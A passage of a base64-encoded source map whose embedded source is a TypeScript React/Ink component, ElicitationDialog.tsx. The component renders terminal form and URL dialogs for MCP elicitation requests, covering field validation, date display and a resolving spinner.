4dEZpZWxkIiwic3luY1RleHRJbnB1dCIsImZpZWxkSW5kZXgiLCJmaWVsZCIsInRleHQiLCJ2YWxpZGF0ZU11bHRpU2VsZWN0IiwiZmllbGROYW1lIiwic2VsZWN0ZWQiLCJmaWVsZFJlcXVpcmVkIiwiZmluZCIsIm1pbiIsIm1pbkl0ZW1zIiwibWF4IiwibWF4SXRlbXMiLCJ1cGRhdGVWYWxpZGF0aW9uRXJyb3IiLCJoYW5kbGVOYXZpZ2F0aW9uIiwiZGlyZWN0aW9uIiwiY29tbWl0VGV4dEZpZWxkIiwidHJpbSIsInJlc29sdmVGaWVsZEFzeW5jIiwiaXRlbUNvdW50IiwiaW5kZXgiLCJuZXh0SW5kZXgiLCJzZXRGaWVsZCIsInZhbHVlIiwicHJldiIsIm5leHQiLCJ1bnNldEZpZWxkIiwidHJpbW1lZFZhbHVlIiwicmF3VmFsdWUiLCJleGlzdGluZyIsImdldCIsInNldCIsImFkZCIsInRoZW4iLCJyZXN1bHQiLCJkZWxldGUiLCJpc29UZXh0IiwiaGFuZGxlVGV4dElucHV0Q2hhbmdlIiwibmV3VmFsdWUiLCJoYW5kbGVUZXh0SW5wdXRTdWJtaXQiLCJydW5UeXBlYWhlYWQiLCJjaGFyIiwibGFiZWxzIiwib25NYXRjaCIsInRvTG93ZXJDYXNlIiwibWF0Y2giLCJmaW5kSW5kZXgiLCJsIiwic3RhcnRzV2l0aCIsImNvbnRleHQiLCJpc0FjdGl2ZSIsIl9pbnB1dCIsImtleSIsInVwQXJyb3ciLCJkb3duQXJyb3ciLCJyZXR1cm4iLCJiYWNrc3BhY2UiLCJtc1NjaGVtYSIsIm1zVmFsdWVzIiwibGVmdEFycm93IiwiZXNjYXBlIiwib3B0aW9uVmFsdWUiLCJuZXdTZWxlY3RlZCIsImZpbHRlciIsInYiLCJlbnVtU2NoZW1hIiwiZW51bVZhbHVlcyIsInZhbGlkYXRlUmVxdWlyZWQiLCJmaXJzdEJhZEluZGV4IiwicmlnaHRBcnJvdyIsImkiLCJzdGFydElkeCIsInZhbHMiLCJNYXRoIiwiaW5kZXhPZiIsIkFycmF5IiwiaXNBcnJheSIsIkxJTkVTX1BFUl9GSUVMRCIsIkRJQUxPR19PVkVSSEVBRCIsIm1heFZpc2libGVGaWVsZHMiLCJmbG9vciIsInNjcm9sbFdpbmRvdyIsInRvdGFsIiwic3RhcnQiLCJlbmQiLCJmb2N1c0lkeCIsImhhc0ZpZWxkc0Fib3ZlIiwiaGFzRmllbGRzQmVsb3ciLCJyZW5kZXJGb3JtRmllbGRzIiwiYXJyb3dVcCIsInNsaWNlIiwidmlzaWJsZUlkeCIsImhhc1ZhbHVlIiwiaXNSZXNvbHZpbmciLCJoYXMiLCJjaGVja2JveCIsIndhcm5pbmciLCJ0aWNrIiwic2VsZWN0aW9uQ29sb3IiLCJhY3RpdmVDb2xvciIsImxhYmVsIiwidGl0bGUiLCJ2YWx1ZUNvbnRlbnQiLCJhY2NvcmRpb25Db250ZW50IiwiaXNFeHBhbmRlZCIsInRyaWFuZ2xlRG93blNtYWxsIiwib3B0VmFsIiwib3B0SWR4Iiwib3B0TGFiZWwiLCJpc0NoZWNrZWQiLCJpc0ZvY3VzZWQiLCJwb2ludGVyIiwiY2hlY2tib3hPbiIsImNoZWNrYm94T2ZmIiwiYXJyb3ciLCJ0cmlhbmdsZVJpZ2h0U21hbGwiLCJkaXNwbGF5TGFiZWxzIiwiam9pbiIsImlzU2VsZWN0ZWQiLCJyYWRpb09uIiwicmFkaW9PZmYiLCJkaXNwbGF5VmFsdWUiLCJkZXNjcmlwdGlvbiIsImFycm93RG93biIsImV4aXRTdGF0ZSIsInBlbmRpbmciLCJrZXlOYW1lIiwiRWxpY2l0YXRpb25VUkxEaWFsb2ciLCJ3YWl0aW5nU3RhdGUiLCJ1cmxQYXJhbXMiLCJ1cmwiLCJwaGFzZSIsInNldFBoYXNlIiwicGhhc2VSZWYiLCJzaG93Q2FuY2VsIiwib25XYWl0aW5nRGlzbWlzc1JlZiIsImRvbWFpbiIsInVybEJlZm9yZURvbWFpbiIsInVybEFmdGVyRG9tYWluIiwicGFyc2VkIiwiVVJMIiwiaG9zdG5hbWUiLCJkb21haW5TdGFydCIsImNvbXBsZXRlZCIsImhhbmRsZUFjY2VwdCIsIkJ1dHRvbk5hbWUiLCJ3YWl0aW5nQnV0dG9ucyIsImlkeCIsImRlbHRhIiwiYWN0aW9uTGFiZWwiXSwic291cmNlcyI6WyJFbGljaXRhdGlvbkRpYWxvZy50c3giXSwic291cmNlc0NvbnRlbnQiOlsiaW1wb3J0IHR5cGUge1xuICBFbGljaXRSZXF1ZXN0Rm9ybVBhcmFtcyxcbiAgRWxpY2l0UmVxdWVzdFVSTFBhcmFtcyxcbiAgRWxpY2l0UmVzdWx0LFxuICBQcmltaXRpdmVTY2hlbWFEZWZpbml0aW9uLFxufSBmcm9tICdAbW9kZWxjb250ZXh0cHJvdG9jb2wvc2RrL3R5cGVzLmpzJ1xuaW1wb3J0IGZpZ3VyZXMgZnJvbSAnZmlndXJlcydcbmltcG9ydCBSZWFjdCwgeyB1c2VDYWxsYmFjaywgdXNlRWZmZWN0LCB1c2VNZW1vLCB1c2VSZWYsIHVzZVN0YXRlIH0gZnJvbSAncmVhY3QnXG5pbXBvcnQgeyB1c2VSZWdpc3Rlck92ZXJsYXkgfSBmcm9tICcuLi8uLi9jb250ZXh0L292ZXJsYXlDb250ZXh0LmpzJ1xuaW1wb3J0IHsgdXNlTm90aWZ5QWZ0ZXJUaW1lb3V0IH0gZnJvbSAnLi4vLi4vaG9va3MvdXNlTm90aWZ5QWZ0ZXJUaW1lb3V0LmpzJ1xuaW1wb3J0IHsgdXNlVGVybWluYWxTaXplIH0gZnJvbSAnLi4vLi4vaG9va3MvdXNlVGVybWluYWxTaXplLmpzJ1xuLy8gZXNsaW50LWRpc2FibGUtbmV4dC1saW5lIGN1c3RvbS1ydWxlcy9wcmVmZXItdXNlLWtleWJpbmRpbmdzIC0tIHJhdyB0ZXh0IGlucHV0IGZvciBlbGljaXRhdGlvbiBmb3JtXG5pbXBvcnQgeyBCb3gsIFRleHQsIHVzZUlucHV0IH0gZnJvbSAnLi4vLi4vaW5rLmpzJ1xuaW1wb3J0IHsgdXNlS2V5YmluZGluZyB9IGZyb20gJy4uLy4uL2tleWJpbmRpbmdzL3VzZUtleWJpbmRpbmcuanMnXG5pbXBvcnQgdHlwZSB7IEVsaWNpdGF0aW9uUmVxdWVzdEV2ZW50IH0gZnJvbSAnLi4vLi4vc2VydmljZXMvbWNwL2VsaWNpdGF0aW9uSGFuZGxlci5qcydcbmltcG9ydCB7IG9wZW5Ccm93c2VyIH0gZnJvbSAnLi4vLi4vdXRpbHMvYnJvd3Nlci5qcydcbmltcG9ydCB7XG4gIGdldEVudW1MYWJlbCxcbiAgZ2V0RW51bVZhbHVlcyxcbiAgZ2V0TXVsdGlTZWxlY3RMYWJlbCxcbiAgZ2V0TXVsdGlTZWxlY3RWYWx1ZXMsXG4gIGlzRGF0ZVRpbWVTY2hlbWEsXG4gIGlzRW51bVNjaGVtYSxcbiAgaXNNdWx0aVNlbGVjdEVudW1TY2hlbWEsXG4gIHZhbGlkYXRlRWxpY2l0YXRpb25JbnB1dCxcbiAgdmFsaWRhdGVFbGljaXRhdGlvbklucHV0QXN5bmMsXG59IGZyb20gJy4uLy4uL3V0aWxzL21jcC9lbGljaXRhdGlvblZhbGlkYXRpb24uanMnXG5pbXBvcnQgeyBwbHVyYWwgfSBmcm9tICcuLi8uLi91dGlscy9zdHJpbmdVdGlscy5qcydcbmltcG9ydCB7IENvbmZpZ3VyYWJsZVNob3J0Y3V0SGludCB9IGZyb20gJy4uL0NvbmZpZ3VyYWJsZVNob3J0Y3V0SGludC5qcydcbmltcG9ydCB7IEJ5bGluZSB9IGZyb20gJy4uL2Rlc2lnbi1zeXN0ZW0vQnlsaW5lLmpzJ1xuaW1wb3J0IHsgRGlhbG9nIH0gZnJvbSAnLi4vZGVzaWduLXN5c3RlbS9EaWFsb2cuanMnXG5pbXBvcnQgeyBLZXlib2FyZFNob3J0Y3V0SGludCB9IGZyb20gJy4uL2Rlc2lnbi1zeXN0ZW0vS2V5Ym9hcmRTaG9ydGN1dEhpbnQuanMnXG5pbXBvcnQgVGV4dElucHV0IGZyb20gJy4uL1RleHRJbnB1dC5qcydcblxudHlwZSBQcm9wcyA9IHtcbiAgZXZlbnQ6IEVsaWNpdGF0aW9uUmVxdWVzdEV2ZW50XG4gIG9uUmVzcG9uc2U6IChcbiAgICBhY3Rpb246IEVsaWNpdFJlc3VsdFsnYWN0aW9uJ10sXG4gICAgY29udGVudD86IEVsaWNpdFJlc3VsdFsnY29udGVudCddLFxuICApID0+IHZvaWRcbiAgLyoqIENhbGxlZCB3aGVuIHRoZSBwaGFzZSAyIHdhaXRpbmcgc3RhdGUgaXMgZGlzbWlzc2VkIChVUkwgZWxpY2l0YXRpb25zIG9ubHkpLiAqL1xuICBvbldhaXRpbmdEaXNtaXNzPzogKGFjdGlvbjogJ2Rpc21pc3MnIHwgJ3JldHJ5JyB8ICdjYW5jZWwnKSA9PiB2b2lkXG59XG5cbmNvbnN0IGlzVGV4dEZpZWxkID0gKHM6IFByaW1pdGl2ZVNjaGVtYURlZmluaXRpb24pID0+XG4gIFsnc3RyaW5nJywgJ251bWJlcicsICdpbnRlZ2VyJ10uaW5jbHVkZXMocy50eXBlKVxuXG5jb25zdCBSRVNPTFZJTkdfU1BJTk5FUl9DSEFSUyA9XG4gICdcXHUyODBCXFx1MjgxOVxcdTI4MzlcXHUyODM4XFx1MjgzQ1xcdTI4MzRcXHUyODI2XFx1MjgyN1xcdTI4MDdcXHUyODBGJ1xuY29uc3QgYWR2YW5jZVNwaW5uZXJGcmFtZSA9IChmOiBudW1iZXIpID0+XG4gIChmICsgMSkgJSBSRVNPTFZJTkdfU1BJTk5FUl9DSEFSUy5sZW5ndGhcblxuLyoqIFRpbWVyIGNhbGxiYWNrIGZvciBlbnVtVHlwZWFoZWFkUmVmIOKAlCBtb2R1bGUtc2NvcGUgdG8gYXZvaWQgY2xvc3VyZSBjYXB0dXJlLiAqL1xuZnVuY3Rpb24gcmVzZXRUeXBlYWhlYWQodGE6IHtcbiAgYnVmZmVyOiBzdHJpbmdcbiAgdGltZXI6IFJldHVyblR5cGU8dHlwZW9mIHNldFRpbWVvdXQ+IHwgdW5kZWZpbmVkXG59KTogdm9pZCB7XG4gIHRhLmJ1ZmZlciA9ICcnXG4gIHRhLnRpbWVyID0gdW5kZWZpbmVkXG59XG5cbi8qKlxuICogSXNvbGF0ZWQgc3Bpbm5lciBnbHlwaCBmb3IgYSBmaWVsZCB0aGF0IGlzIGJlaW5nIHJlc29sdmVkIGFzeW5jaHJvbm91c2x5LlxuICogT3ducyBpdHMgb3duIDgwbXMgYW5pbWF0aW9uIHRpbWVyIHNvIHRpY2tzIG9ubHkgcmUtcmVuZGVyIHRoaXMgdGlueSBsZWFmLFxuICogbm90IHRoZSBlbnRpcmUgRWxpY2l0YXRpb25Gb3JtRGlhbG9nICh+MTIwMCBsaW5lcyArIHJlbmRlckZvcm1GaWVsZHMpLlxuICogTW91bnRlZC91bm1vdW50ZWQgYnkgdGhlIHBhcmVudCB2aWEgdGhlIGBpc1Jlc29sdmluZ2AgY29uZGl0aW9uLlxuICpcbiAqIE5vdCB1c2luZyB0aGUgc2hhcmVkIDxTcGlubmVyIC8+IGZyb20gLi4vU3Bpbm5lci5qczogdGhhdCBvbmUgcmVuZGVycyBpbiBhXG4gKiA8Qm94IHdpZHRoPXsyfT4gd2l0aCBjb2xvcj1cInRleHRcIiwgd2hpY2ggd291bGQgYnJlYWsgdGhlIDEtY29sIGNoZWNrYm94XG4gKiBjb2x1bW4gYWxpZ25tZW50IGhlcmUgKG90aGVyIGNoZWNrYm94IHN0YXRlcyBhcmUgd2lkdGgtMSBnbHlwaHMpLlxuICovXG5mdW5jdGlvbiBSZXNvbHZpbmdTcGlubmVyKCk6IFJlYWN0LlJlYWN0Tm9kZSB7XG4gIGNvbnN0IFtmcmFtZSwgc2V0RnJhbWVdID0gdXNlU3RhdGUoMClcbiAgdXNlRWZmZWN0KCgpID0+IHtcbiAgICBjb25zdCB0aW1lciA9IHNldEludGVydmFsKHNldEZyYW1lLCA4MCwgYWR2YW5jZVNwaW5uZXJGcmFtZSlcbiAgICByZXR1cm4gKCkgPT4gY2xlYXJJbnRlcnZhbCh0aW1lcilcbiAgfSwgW10pXG4gIHJldHVybiA8VGV4dCBjb2xvcj1cIndhcm5pbmdcIj57UkVTT0xWSU5HX1NQSU5ORVJfQ0hBUlNbZnJhbWVdfTwvVGV4dD5cbn1cblxuLyoqIEZvcm1hdCBhbiBJU08gZGF0ZS9kYXRldGltZSBmb3IgZGlzcGxheSwga2VlcGluZyB0aGUgSVNPIHZhbHVlIGZvciBzdWJtaXNzaW9uLiAqL1xuZnVuY3Rpb24gZm9ybWF0RGF0ZURpc3BsYXkoXG4gIGlzb1ZhbHVlOiBzdHJpbmcsXG4gIHNjaGVtYTogUHJpbWl0aXZlU2NoZW1hRGVmaW5pdGlvbixcbik6IHN0cmluZyB7XG4gIHRyeSB7XG4gICAgY29uc3QgZGF0ZSA9IG5ldyBEYXRlKGlzb1ZhbHVlKVxuICAgIGlmIChOdW1iZXIuaXNOYU4oZGF0ZS5nZXRUaW1lKCkpKSByZXR1cm4gaXNvVmFsdWVcbiAgICBjb25zdCBmb3JtYXQgPSAnZm9ybWF0JyBpbiBzY2hlbWEgPyBzY2hlbWEuZm9ybWF0IDogdW5kZWZpbmVkXG4gICAgaWYgKGZvcm1hdCA9PT0gJ2RhdGUtdGltZScpIHtcbiAgICAgIHJldHVybiBkYXRlLnRvTG9jYWxlRGF0ZVN0cmluZygnZW4tVVMnLCB7XG4gICAgICAgIHdlZWtkYXk6ICdzaG9ydCcsXG4gICAgICAgIHllYXI6ICdudW1lcmljJyxcbiAgICAgICAgbW9udGg6ICdzaG9ydCcsXG4gICAgICAgIGRheTogJ251bWVyaWMnLFxuICAgICAgICBob3VyOiAnbnVtZXJpYycsXG4gICAgICAgIG1pbnV0ZTogJzItZGlnaXQnLFxuICAgICAgICB0aW1lWm9uZU5hbWU6ICdzaG9ydCcsXG4gICAgICB9KVxuICAgIH1cbiAgICAvLyBkYXRlLW9ubHk6IHBhcnNlIGFzIGxvY2FsIGRhdGUgdG8gYXZvaWQgdGltZXpvbmUgc2hpZnRcbiAgICBjb25zdCBwYXJ0cyA9IGlzb1ZhbHVlLnNwbGl0KCctJylcbiAgICBpZiAocGFydHMubGVuZ3RoID09PSAzKSB7XG4gICAgICBjb25zdCBsb2NhbCA9IG5ldyBEYXRlKFxuICAgICAgICBOdW1iZXIocGFydHNbMF0pLFxuICAgICAgICBOdW1iZXIocGFydHNbMV0pIC0gMSxcbiAgICAgICAgTnVtYmVyKHBhcnRzWzJdKSxcbiAgICAgIClcbiAgICAgIHJldHVybiBsb2NhbC50b0xvY2FsZURhdGVTdHJpbmcoJ2VuLVVTJywge1xuICAgICAgICB3ZWVrZGF5OiAnc2hvcnQnLFxuICAgICAgICB5ZWFyOiAnbnVtZXJpYycsXG4gICAgICAgIG1vbnRoOiAnc2hvcnQnLFxuICAgICAgICBkYXk6ICdudW1lcmljJyxcbiAgICAgIH0pXG4gICAgfVxuICAgIHJldHVybiBpc29WYWx1ZVxuICB9IGNhdGNoIHtcbiAgICByZXR1cm4gaXNvVmFsdWVcbiAgfVxufVxuXG5leHBvcnQgZnVuY3Rpb24gRWxpY2l0YXRpb25EaWFsb2coe1xuICBldmVudCxcbiAgb25SZXNwb25zZSxcbiAgb25XYWl0aW5nRGlzbWlzcyxcbn06IFByb3BzKTogUmVhY3QuUmVhY3ROb2RlIHtcbiAgaWYgKGV2ZW50LnBhcmFtcy5tb2RlID09PSAndXJsJykge1xuICAgIHJldHVybiAoXG4gICAgICA8RWxpY2l0YXRpb25VUkxEaWFsb2dcbiAgICAgICAgZXZlbnQ9e2V2ZW50fVxuICAgICAgICBvblJlc3BvbnNlPXtvblJlc3BvbnNlfVxuICAgICAgICBvbldhaXRpbmdEaXNtaXNzPXtvbldhaXRpbmdEaXNtaXNzfVxuICAgICAgLz5cbiAgICApXG4gIH1cblxuICByZXR1cm4gPEVsaWNpdGF0aW9uRm9ybURpYWxvZyBldmVudD17ZXZlbnR9IG9uUmVzcG9uc2U9e29uUmVzcG9uc2V9IC8+XG59XG5cbmZ1bmN0aW9uIEVsaWNpdGF0aW9uRm9ybURpYWxvZyh7XG4gIGV2ZW50LFxuICBvblJlc3BvbnNlLFxufToge1xuICBldmVudDogRWxpY2l0YXRpb25SZXF1ZXN0RXZlbnRcbiAgb25SZXNwb25zZTogUHJvcHNbJ29uUmVzcG9uc2UnXVxufSk6IFJlYWN0LlJlYWN0Tm9kZSB7XG4gIGNvbnN0IHsgc2VydmVyTmFtZSwgc2lnbmFsIH0gPSBldmVudFxuICBjb25zdCByZXF1ZXN0ID0gZXZlbnQucGFyYW1zIGFzIEVsaWNpdFJlcXVlc3RGb3JtUGFyYW1zXG4gIGNvbnN0IHsgbWVzc2FnZSwgcmVxdWVzdGVkU2NoZW1hIH0gPSByZXF1ZXN0XG4gIGNvbnN0IGhhc0ZpZWxkcyA9IE9iamVjdC5rZXlzKHJlcXVlc3RlZFNjaGVtYS5wcm9wZXJ0aWVzKS5sZW5ndGggPiAwXG4gIGNvbnN0IFtmb2N1c2VkQnV0dG9uLCBzZXRGb2N1c2VkQnV0dG9uXSA9IHVzZVN0YXRlPFxuICAgICdhY2NlcHQnIHwgJ2RlY2xpbmUnIHwgbnVsbFxuICA+KGhhc0ZpZWxkcyA/IG51bGwgOiAnYWNjZXB0JylcbiAgY29uc3QgW2Zvcm1WYWx1ZXMsIHNldEZvcm1WYWx1ZXNdID0gdXNlU3RhdGU8XG4gICAgUmVjb3JkPHN0cmluZywgc3RyaW5nIHwgbnVtYmVyIHwgYm9vbGVhbiB8IHN0cmluZ1tdPlxuICA+KCgpID0+IHtcbiAgICBjb25zdCBpbml0aWFsVmFsdWVzOiBSZWNvcmQ8c3RyaW5nLCBzdHJpbmcgfCBudW1iZXIgfCBib29sZWFuIHwgc3RyaW5nW10+ID1cbiAgICAgIHt9XG4gICAgaWYgKHJlcXVlc3RlZFNjaGVtYS5wcm9wZXJ0aWVzKSB7XG4gICAgICBmb3IgKGNvbnN0IFtwcm9wTmFtZSwgcHJvcFNjaGVtYV0gb2YgT2JqZWN0LmVudHJpZXMoXG4gICAgICAgIHJlcXVlc3RlZFNjaGVtYS5wcm9wZXJ0aWVzLFxuICAgICAgKSkge1xuICAgICAgICBpZiAodHlwZW9mIHByb3BTY2hlbWEgPT09ICdvYmplY3QnICYmIHByb3BTY2hlbWEgIT09IG51bGwpIHtcbiAgICAgICAgICBpZiAocHJvcFNjaGVtYS5kZWZhdWx0ICE9PSB1bmRlZmluZWQpIHtcbiAgICAgICAgICAgIGluaXRpYWxWYWx1ZXNbcHJvcE5hbWVdID0gcHJvcFNjaGVtYS5kZWZhdWx0XG4gICAgICAgICAgfVxuICAgICAgICB9XG4gICAgICB9XG4gICAgfVxuICAgIHJldHVybiBpbml0aWFsVmFsdWVzXG4gIH0pXG5cbiAgY29uc3QgW3ZhbGlkYXRpb25FcnJvcnMsIHNldFZhbGlkYXRpb25FcnJvcnNdID0gdXNlU3RhdGU8XG4gICAgUmVjb3JkPHN0cmluZywgc3RyaW5nPlxuICA+KCgpID0+IHtcbiAgICBjb25zdCBpbml0aWFsRXJyb3JzOiBSZWNvcmQ8c3RyaW5nLCBzdHJpbmc+ID0ge31cbiAgICBmb3IgKGNvbnN0IFtwcm9wTmFtZSwgcHJvcFNjaGVtYV0gb2YgT2JqZWN0LmVudHJpZXMoXG4gICAgICByZXF1ZXN0ZWRTY2hlbWEucHJvcGVydGllcyxcbiAgICApKSB7XG4gICAgICBpZiAoaXNUZXh0RmllbGQocHJvcFNjaGVtYSkgJiYgcHJvcFNjaGVtYT8uZGVmYXVsdCAhPT0gdW5kZWZpbmVkKSB7XG4gICAgICAgIGNvbnN0IHZhbGlkYXRpb24gPSB2YWxpZGF0ZUVsaWNpdGF0aW9uSW5wdXQoXG4gICAgICAgICAgU3RyaW5nKHByb3BTY2hlbWEuZGVmYXVsdCksXG4gICAgICAgICAgcHJvcFNjaGVtYSxcbiAgICAgICAgKVxuICAgICAgICBpZiAoIXZhbGlkYXRpb24uaXNWYWxpZCAmJiB2YWxpZGF0aW9uLmVycm9yKSB7XG4gICAgICAgICAgaW5pdGlhbEVycm9yc1twcm9wTmFtZV0gPSB2YWxpZGF0aW9uLmVycm9yXG4gICAgICAgIH1cbiAgICAgIH1cbiAgICB9XG4gICAgcmV0dXJuIGluaXRpYWxFcnJvcnNcbiAgfSlcblxuICB1c2VFZmZlY3QoKCkgPT4ge1xuICAgIGlmICghc2lnbmFsKSByZXR1cm5cblxuICAgIGNvbnN0IGhhbmRsZUFib3J0ID0gKCkgPT4ge1xuICAgICAgb25SZXNwb25zZSgnY2FuY2VsJylcbiAgICB9XG5cbiAgICBpZiAoc2lnbmFsLmFib3J0ZWQpIHtcbiAgICAgIGhhbmRsZUFib3J0KClcbiAgICAgIHJldHVyblxuICAgIH1cblxuICAgIHNpZ25hbC5hZGRFdmVudExpc3RlbmVyKCdhYm9ydCcsIGhhbmRsZUFib3J0KVxuICAgIHJldHVybiAoKSA9PiB7XG4gICAgICBzaWduYWwucmVtb3ZlRXZlbnRMaXN0ZW5lcignYWJvcnQnLCBoYW5kbGVBYm9ydClcbiAgICB9XG4gIH0sIFtzaWduYWwsIG9uUmVzcG9uc2VdKVxuXG4gIGNvbnN0IHNjaGVtYUZpZWxkcyA9IHVzZU1lbW8oKCkgPT4ge1xuICAgIGNvbnN0IHJlcXVpcmVkRmllbGRzID0gcmVxdWVzdGVkU2NoZW1hLnJlcXVpcmVkID8/IFtdXG4gICAgcmV0dXJuIE9iamVjdC5lbnRyaWVzKHJlcXVlc3RlZFNjaGVtYS5wcm9wZXJ0aWVzKS5tYXAoKFtuYW1lLCBzY2hlbWFdKSA9PiAoe1xuICAgICAgbmFtZSxcbiAgICAgIHNjaGVtYSxcbiAgICAgIGlzUmVxdWlyZWQ6IHJlcXVpcmVkRmllbGRzLmluY2x1ZGVzKG5hbWUpLFxuICAgIH0pKVxuICB9LCBbcmVxdWVzdGVkU2NoZW1hXSlcblxuICBjb25zdCBbY3VycmVudEZpZWxkSW5kZXgsIHNldEN1cnJlbnRGaWVsZEluZGV4XSA9IHVzZVN0YXRlPFxuICAgIG51bWJlciB8IHVuZGVmaW5lZFxuICA+KGhhc0ZpZWxkcyA/IDAgOiB1bmRlZmluZWQpXG4gIGNvbnN0IFt0ZXh0SW5wdXRWYWx1ZSwgc2V0VGV4dElucHV0VmFsdWVdID0gdXNlU3RhdGUoKCkgPT4ge1xuICAgIC8vIEluaXRpYWxpemUgZnJvbSB0aGUgZmlyc3QgZmllbGQncyB2YWx1ZSBpZiBpdCdzIGEgdGV4dCBmaWVsZFxuICAgIGNvbnN0IGZpcnN0RmllbGQgPSBzY2hlbWFGaWVsZHNbMF1cbiAgICBpZiAoZmlyc3RGaWVsZCAmJiBpc1RleHRGaWVsZChmaXJzdEZpZWxkLnNjaGVtYSkpIHtcbiAgICAgIGNvbnN0IHZhbCA9IGZvcm1WYWx1ZXNbZmlyc3RGaWVsZC5uYW1lXVxuICAgICAgaWYgKHZhbCA9PT0gdW5kZWZpbmVkKSByZXR1cm4gJydcbiAgICAgIHJldHVybiBTdHJpbmcodmFsKVxuICAgIH1cbiAgICByZXR1cm4gJydcbiAgfSlcbiAgY29uc3QgW3RleHRJbnB1dEN1cnNvck9mZnNldCwgc2V0VGV4dElucHV0Q3Vyc29yT2Zmc2V0XSA9IHVzZVN0YXRlKFxuICAgIHRleHRJbnB1dFZhbHVlLmxlbmd0aCxcbiAgKVxuICBjb25zdCBbcmVzb2x2aW5nRmllbGRzLCBzZXRSZXNvbHZpbmdGaWVsZHNdID0gdXNlU3RhdGU8U2V0PHN0cmluZz4+KFxuICAgICgpID0+IG5ldyBTZXQoKSxcbiAgKVxuICAvLyBBY2NvcmRpb24gc3RhdGUgKHNoYXJlZCBieSBtdWx0aS1zZWxlY3QgYW5kIHNpbmdsZS1zZWxlY3QgZW51bSlcbiAgY29uc3QgW2V4cGFuZGVkQWNjb3JkaW9uLCBzZXRFeHBhbmRlZEFjY29yZGlvbl0gPSB1c2VTdGF0ZTxcbiAgICBzdHJpbmcgfCB1bmRlZmluZWRcbiAgPigpXG4gIGNvbnN0IFthY2NvcmRpb25PcHRpb25JbmRleCwgc2V0QWNjb3JkaW9uT3B0aW9uSW5kZXhdID0gdXNlU3RhdGUoMClcblxuICBjb25zdCBkYXRlRGVib3VuY2VSZWYgPSB1c2VSZWY8UmV0dXJuVHlwZTx0eXBlb2Ygc2V0VGltZW91dD4gfCB1bmRlZmluZWQ+KFxuICAgIHVuZGVmaW5lZCxcbiAgKVxuICBjb25zdCByZXNvbHZlQWJvcnRSZWYgPSB1c2VSZWY8TWFwPHN0cmluZywgQWJvcnRDb250cm9sbGVyPj4obmV3IE1hcCgpKVxuICBjb25zdCBlbnVtVHlwZWFoZWFkUmVmID0gdXNlUmVmKHtcbiAgICBidWZmZXI6ICcnLFxuICAgIHRpbWVyOiB1bmRlZmluZWQgYXMgUmV0dXJuVHlwZTx0eXBlb2Ygc2V0VGltZW91dD4gfCB1bmRlZmluZWQsXG4gIH0pXG5cbiAgLy8gQ2xlYXIgcGVuZGluZyBkZWJvdW5jZS90eXBlYWhlYWQgdGltZXJzIGFuZCBhYm9ydCBpbi1mbGlnaHQgYXN5bmNcbiAgLy8gdmFsaWRhdGlvbnMgb24gdW5tb3VudCBzbyB0aGV5IGRvbid0IGZpcmUgYWdhaW5zdCBhbiB1bm1vdW50ZWQgY29tcG9uZW50XG4gIC8vIChlLmcuIGRpYWxvZyBkaXNtaXNzZWQgbWlkLWRlYm91bmNlIG9yIG1pZC1yZXNvbHZlKS5cbiAgdXNlRWZmZWN0KFxuICAgICgpID0+ICgpID0+IHtcbiAgICAgIGlmIChkYXRlRGVib3VuY2VSZWYuY3VycmVudCAhPT0gdW5kZWZpbmVkKSB7XG4gICAgICAgIGNsZWFyVGltZW91dChkYXRlRGVib3VuY2VSZWYuY3VycmVudClcbiAgICAgIH1cbiAgICAgIGNvbnN0IHRhID0gZW51bVR5cGVhaGVhZFJlZi5jdXJyZW50XG4gICAgICBpZiAodGEudGltZXIgIT09IHVuZGVmaW5lZCkge1xuICAgICAgICBjbGVhclRpbWVvdXQodGEudGltZXIpXG4gICAgICB9XG4gICAgICBmb3IgKGNvbnN0IGNvbnRyb2xsZXIgb2YgcmVzb2x2ZUFib3J0UmVmLmN1cnJlbnQudmFsdWVzKCkpIHtcbiAgICAgICAgY29udHJvbGxlci5hYm9ydCgpXG4gICAgICB9XG4gICAgICByZXNvbHZlQWJvcnRSZWYuY3VycmVudC5jbGVhcigpXG4gICAgfSxcbiAgICBbXSxcbiAgKVxuXG4gIGNvbnN0IHsgY29sdW1ucywgcm93cyB9ID0gdXNlVGVybWluYWxTaXplKClcblxuICBjb25zdCBjdXJyZW50RmllbGQgPVxuICAgIGN1cnJlbnRGaWVsZEluZGV4ICE9PSB1bmRlZmluZWRcbiAgICAgID8gc2NoZW1hRmllbGRzW2N1cnJlbnRGaWVsZEluZGV4XVxuICAgICAgOiB1bmRlZmluZWRcbiAgY29uc3QgY3VycmVudEZpZWxkSXNUZXh0ID1cbiAgICBjdXJyZW50RmllbGQgIT09IHVuZGVmaW5lZCAmJlxuICAgIGlzVGV4dEZpZWxkKGN1cnJlbnRGaWVsZC5zY2hlbWEpICYmXG4gICAgIWlzRW51bVNjaGVtYShjdXJyZW50RmllbGQuc2NoZW1hKVxuXG4gIC8vIFRleHQgZmllbGRzIGFyZSBhbHdheXMgaW4gZWRpdCBtb2RlIHdoZW4gZm9jdXNlZCDigJQgbm8gRW50ZXItdG8tZWRpdCBzdGVwLlxuICBjb25zdCBpc0VkaXRpbmdUZXh0RmllbGQgPSBjdXJyZW50RmllbGRJc1RleHQgJiYgIWZvY3VzZWRCdXR0b25cblxuICB1c2VSZWdpc3Rlck92ZXJsYXkoJ2VsaWNpdGF0aW9uJylcbiAgdXNlTm90aWZ5QWZ0ZXJUaW1lb3V0KCdDbGF1ZGUgQ29kZSBuZWVkcyB5b3VyIGlucHV0JywgJ2VsaWNpdGF0aW9uX2RpYWxvZycpXG5cbiAgLy8gU3luYyB0ZXh0SW5wdXRWYWx1ZSB3aGVuIHRoZSBmb2N1c2VkIGZpZWxkIGNoYW5nZXNcbiAgY29uc3Qgc3luY1RleHRJbnB1dCA9IHVzZUNhbGxiYWNrKFxuICAgIChmaWVsZEluZGV4OiBudW1iZXIgfCB1bmRlZmluZWQpID0+IHtcbiAgICAgIGlmIChmaWVsZEluZGV4ID09PSB1bmRlZmluZWQpIHtcbiAgICAgICAgc2V0VGV4dElucHV0VmFsdWUoJycpXG4gICAgICAgIHNldFRleHRJbnB1dEN1cnNvck9mZnNldCgwKVxuICAgICAgICByZXR1cm5cbiAgICAgIH1cbiAgICAgIGNvbnN0IGZpZWxkID0gc2NoZW1hRmllbGRzW2ZpZWxkSW5kZXhdXG4gICAgICBpZiAoZmllbGQgJiYgaXNUZXh0RmllbGQoZmllbGQuc2NoZW1hKSAmJiAhaXNFbnVtU2NoZW1hKGZpZWxkLnNjaGVtYSkpIHtcbiAgICAgICAgY29uc3QgdmFsID0gZm9ybVZhbHVlc1tmaWVsZC5uYW1lXVxuICAgICAgICBjb25zdCB0ZXh0ID0gdmFsICE9P